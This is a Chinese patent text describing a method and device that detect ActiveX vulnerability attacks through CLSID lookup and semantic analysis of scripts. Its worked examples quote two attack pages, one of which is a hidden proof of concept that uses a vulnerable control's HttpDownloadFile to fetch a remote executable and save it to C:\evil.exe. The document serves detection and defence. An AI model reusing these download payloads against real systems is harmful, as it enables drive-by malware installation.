发明内容
本发明实施例提出一种检测漏洞攻击行为的方法及设备,以对ActiveX漏洞攻击行为进行检测,有效提高了漏洞攻击行为检测的准确率,同时降低了漏洞攻击行为检测的漏报率。
本发明实施例提供了一种检测漏洞攻击行为的方法,包括:
查找网络数据中的控件是否为具有漏洞的控件;
如果查找结果为是具有漏洞的控件,从所述网络数据中抽取包含所述控件的脚本语句;
获取所述脚本语句的语义;
根据所述脚本语句的语义判断所述脚本语句中是否存在攻击行为特征;
如果判断结果为存在攻击行为特征,则确定所述网络数据中存在漏洞攻击行为。
本发明实施例还提供了一种检测漏洞攻击行为的设备,包括:
控件检测单元,用于查找网络数据中的控件是否为具有漏洞的控件;
脚本抽取单元,用于在查找结果为具有漏洞的控件的情况下,从所述网络数据中抽取包含所述控件的脚本语句;
语义获取单元,用于获取所述脚本语句的语义;
行为判断单元,用于根据所述脚本语句的语义判断所述脚本语句中是否存在攻击行为特征;
攻击行为确定单元,用于在所述行为判断单元判断结果为存在攻击行为特征的情况下,则确定所述网络数据中存在漏洞攻击行为。
上述实施例提供的技术方案通过对存在漏洞的控件的网络数据进行语义检测及行为匹配,可以对潜在的漏洞攻击行为进行更加深入的分析,也可以排除具有漏洞的控件的正常行为,有效提高了漏洞攻击行为检测的准确率,同时降低了漏洞攻击行为检测的漏报率。
下面通过附图和实施例,对本发明的技术方案做进一步的详细描述。
具体实施方式
下面将结合本发明实施例中的附图,对本发明实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本发明一部分实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员在没有作出创造性劳动前提下所获得的所有其他实施例,都属于本发明保护的范围。
图1为本发明实施例提供的一种检测漏洞攻击行为的方法的流程图。该方法包括:
步骤11、查找网络数据中的控件是否为具有漏洞的控件;如可通过检测并获取网络数据中控件的标识Clsid来查找找网络数据中的控件是否为具有漏洞的控件。在预设的具有漏洞的控件的标识库中查找获取的控件的标识;如果找到,则所述网络数据中的控件为具有漏洞的控件。
步骤12、如果查找结果为是具有漏洞的控件,从所述网络数据中抽取包含所述控件的脚本语句。
步骤13、获取所述脚本语句的语义;例如将所述脚本语句分割为脚本语句块,如按标点符号进行分割;然后根据所述脚本语句块的语义以及所述脚本语句块在脚本语句中的排列顺序判断所述脚本语句的语义,如将所述脚本语句块的语义作为状态参数,按照所述脚本语句块在脚本语句中的排列顺序排列所述状态参数,通过预先设置的模型计算所述脚本语句的语义。具体详见第一脚本、第二脚本的分析说明。
步骤14、根据所述脚本语句的语义判断所述脚本语句中是否存在攻击行为特征;如根据所述脚本语句的语义判断所述脚本语句中是否存在网页重定向的特征。
步骤15、如果判断结果为存在攻击行为特征,则确定所述网络数据中存在漏洞攻击行为。如当所述脚本语句中存在网页重定向的特征时,则确定网络数据中存在攻击行为特征。
本实施例提供的技术方案通过对存在漏洞的控件的网络数据进行语义检测及行为匹配,可以对潜在的漏洞攻击行为进行更加深入的分析,也可以排除具有漏洞的控件的正常行为,有效提高了漏洞攻击行为检测的准确率,同时降低了漏洞攻击行为检测的漏报率。
图2为本发明实施例提供的另一种检测漏洞攻击行为的方法的流程图。该方法包括:
步骤21、检测并获取网络数据如ActiveX脚本中的Clsid的值;
步骤22、在所述Clsid的值为有漏洞的控件对应的Clsid值的情况下,检测所述网络数据的语义状态;
步骤23、判断所述语义状态是否符合存在漏洞攻击行为的网络数据的语义状态转移特征;
步骤24、当所述语义状态符合所述语义状态转移特征时,将导致所述语义状态转移的行为与攻击行为特征进行匹配;
步骤25、根据匹配结果检测所述网络数据是否存在控件漏洞攻击行为。具体地,当导致所述语义状态的行为与攻击行为特征匹配时,则说明所述网络数据存在攻击行为,从而可以执行报警等预防措施;当导致所述语义状态的行为与攻击行为特征不匹配时,则说明所述网络数据不存在攻击行为。
上述步骤21~步骤25可由检测引擎分为两个阶段执行,具体如图3所示。
第一个阶段即上述步骤21,根据HTTP GET、POST、COOKIE的请求获取所请求的HTTP的页面的数据流;检测引擎对数据流进行HTTP解码和HTML解码,将解码得到的数据进行重组,还原成具有一个完整数据包的HTTP的页面。检测引擎对重组得到的HTTP的页面的数据包进行Clsid分析,并利用HMM提取其中的JavaScript脚本,进行语法检测。若数据包中的Clsid值为有漏洞的控件对应的Clsid值,且JavaScript脚本语法正确,则进入第二阶段,检测JavaScript脚本的语义及行为,在语义状态符合预设的语义状态特征,且行为符合攻击行为特征,则进行ActiveX漏洞攻击行为告警,控制台显示报警页面。如图4所示,若数据包中的Clsid值为可直接判定网络数据存在ActiveX漏洞攻击行为的Clsid值,这类Clsid值出现机率较低,则可直接认定检测的网络数据存在ActiveX漏洞攻击行为,从而控制台可直接显示报警页面。
第二阶段即上述步骤22~步骤25,对第一阶段提取的JavaScript脚本进行语义状态检测,以及行为匹配,然后根据攻击行为关联分析和异常值进行打分,最后进行ActiveX漏洞攻击行为报警。其中语义检测具体如图5所示,提取脚本中的语义特征如对象、行为以及该行为的输出,构建语句块序列,即语义状态网络,获取语义状态情况。当语义转移到一个终态时,一个攻击行为即被识别出来。构造ActiveX漏洞攻击行为的检测特征语义状态网络中,可以正则表达式的方式表述特征语义,以自动机机制判断语义状态。
以第一脚本为例:
“<HTML>
<BODY>
<object id=hsmx classid=″clsid:{97AF4A45-49BE-4485-9F55-91AB40F2
88F2}″></object>
<SCRIPT>
function Do_it()
{
File=″http://test.com/file.exe″
hsmx.OpenWebFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it()type=button value=″exploit″>
</body>
</HTML>”
Clsid值也可以位于网络数据中的脚本中,也可以位于脚本以外的数据中。这里,Clsid值位于脚本中。将第一脚本中的Clsid值:“97AF4A45-49BE-4485-9F55-91AB40F288F2”与Clsid库进行匹配,如果和具有漏洞的控件的标识值相匹配,可知该Clsid值为某一具有漏洞的控件标识。
提取的脚本中,依据回车进行语句块切分。其中函数“Do_it()”为一个语句块。该语句块中,依据回车又可以分为“File=″http://test.com/file.exe”语句块即对象语句块,及“hsmx OpenWebFile(File)”语句块即行为语句块。
提取脚本中的对象语句块“File=″http://test.com/file.exe″”、行为语句块“OpenWebFile(File)”。其中行为语句块调用对象语句块时,通过判断对象中包含有结构头http://,产生网络重定向语句块即行为的输出语句块。利用对象语句块、行为语句块及行为的输出语句块组建语义状态网络或语句块排序,得到如图6所示的语义状态情况。对象“File=″http://test.com/file.exe″”语句块通过行为“OpenWebFile(File)”语句块,得到最终的状态网页重定向语句块。该语句块序列符合存在ActiveX漏洞攻击行为,即网页重定向的JavaScript脚本语义状态特征,且行为“OpenWebFile(File)”与ActiveX攻击行为特征匹配,因此,该第一脚本存在ActiveX漏洞攻击行为。
类似地,第二脚本:“<html>
<body>
<div style=″visibility:hidden;″>
<object classid=′clsid:18A295DA-088E-42D1-BE31-5028D7F9B965′id=′k
upa′></object>
<script type=″text/javascript″>
try{
var obj=document.getElementById(′kupa′);
var rem=″http://www.adalex.pl/motyl/motyl-radio.exe″;
var loc=″C:\evil.exe″;
obj.HttpDownloadFile(rem,loc);
}
catch(err){
window.alert(′Poc failed′);
}
</script>
</div>
</body>
</html>”的语义状态如图7所示,第二脚本的函数“try”语句块中,对象1“′rem′”语句块、对象2“loc”语句块作为行为“HttpDownloadFile()”语句块的输入,由于“rem”包含“http://”的结构头,因而“HttpDownloadFile”执行网络重定向,即产生网页重定向语句块。符合存在ActiveX漏洞攻击行为的JavaScript脚本语义状态特征,且行为“HttpDoenloadFile()”与ActiveX攻击行为特征匹配,因此,该第二脚本存在ActiveX漏洞攻击行为。
本实施例提供的技术方案通过对存在漏洞的控件的网络数据进行语义检测及行为匹配,可以对潜在的漏洞攻击行为进行更加深入的分析,也可以排除具有漏洞的控件的正常行为,有效提高了漏洞攻击行为检测的准确率,同时降低了漏洞攻击行为检测的漏报率。
图8为本发明实施例提供的检测漏洞攻击行为的设备结构示意图。该系统包括:控件检测单元81、脚本抽取单元82、语义获取单元83、行为判断单元84及攻击行为确定单元85。控件检测单元81用于查找网络数据中的控件是否为具有漏洞的控件;脚本抽取单元82用于在查找结果为具有漏洞的控件的情况下,从所述网络数据中抽取包含所述控件的脚本语句;语义获取单元83用于获取所述脚本语句的语义;行为判断单元84用于根据所述脚本语句的语义判断所述脚本语句中是否存在攻击行为特征;攻击行为确定单元85用于在所述行为判断单元判断结果为存在攻击行为特征的情况下,则确定所述网络数据中存在漏洞攻击行为。所述行为判断单元84可用于根据所述脚本语句的语义判断所述脚本语句中是否存在网页重定向的特征,如可具体用于根据所述脚本语句的语义判断所述脚本语句中是否存在“http”字符串。。
本实施例提供的检测漏洞攻击行为的设备通过控件检测单元81对存在漏洞的控件的网络数据进行语义检测及行为匹配,使得当根据Clsid确定控件的方法不能准确判断出该网络数据存在漏洞攻击行为时,以及攻击行为变化时,通过脚本抽取单元82、语义获取单元83、行为判断单元84及攻击行为确定单元85对网络数据中的语义状态情况或者行为特征的判断,仍然能够准确检测出存在攻击行为的网络数据,提高了报警的准确度,降低了漏洞攻击行为的漏报率及误报率。
所述语义获取单元83包括:脚本分割子单元831及语义判断子单元832。脚本分割子单元831用于将所述脚本语句分割为脚本语句块;语义判断子单元832用于根据所述脚本语句块的语义以及所述脚本语句块在脚本语句中的排列顺序判断所述脚本语句的语义。
所述语义判断子单元832包括:参数选定子单元833、参数排列子单元834及语义计算子单元835。参数选定子单元833用于将所述脚本语句块的语义作为状态参数;参数排列子单元834用于按照所述脚本语句块在脚本语句中的排列顺序排列所述状态参数;语义计算子单元835用于通过预先设置的模型计算所述脚本语句的语义。
本发明实施例提供的检测漏洞攻击行为的设备还可包括:报警单元86。报警单元86用于进行漏洞攻击行为报警。当攻击行为确定单元85确定所述网络数据存在攻击行为时,报警单元86进行漏洞攻击行为报警。
上述方法及系统实施例通过对存在漏洞的控件的网络数据进行语义检测及行为匹配,可以对潜在的漏洞攻击行为进行更加深入的分析,也可以排除具有漏洞的控件的正常行为,有效提高了漏洞攻击行为检测的准确率,同时降低了漏洞攻击行为检测的漏报率。
本领域普通技术人员可以理解:实现上述方法实施例的全部或部分步骤可以通过程序指令相关的硬件来完成,前述的程序可以存储于一计算机可读取存储介质中,该程序在执行时,执行包括上述方法实施例的步骤;而前述的存储介质包括:ROM、RAM、磁碟或者光盘等各种可以存储程序代码的介质。
最后应说明的是:以上实施例仅用以说明本发明的技术方案,而非对其限制;尽管参照前述实施例对本发明进行了详细的说明,本领域的普通技术人员应当理解:其依然可以对前述各实施例所记载的技术方案进行修改,或者对其中部分技术特征进行等同替换;而这些修改或者替换,并不使相应技术方案的本质脱离本发明各实施例技术方案的精神和范围。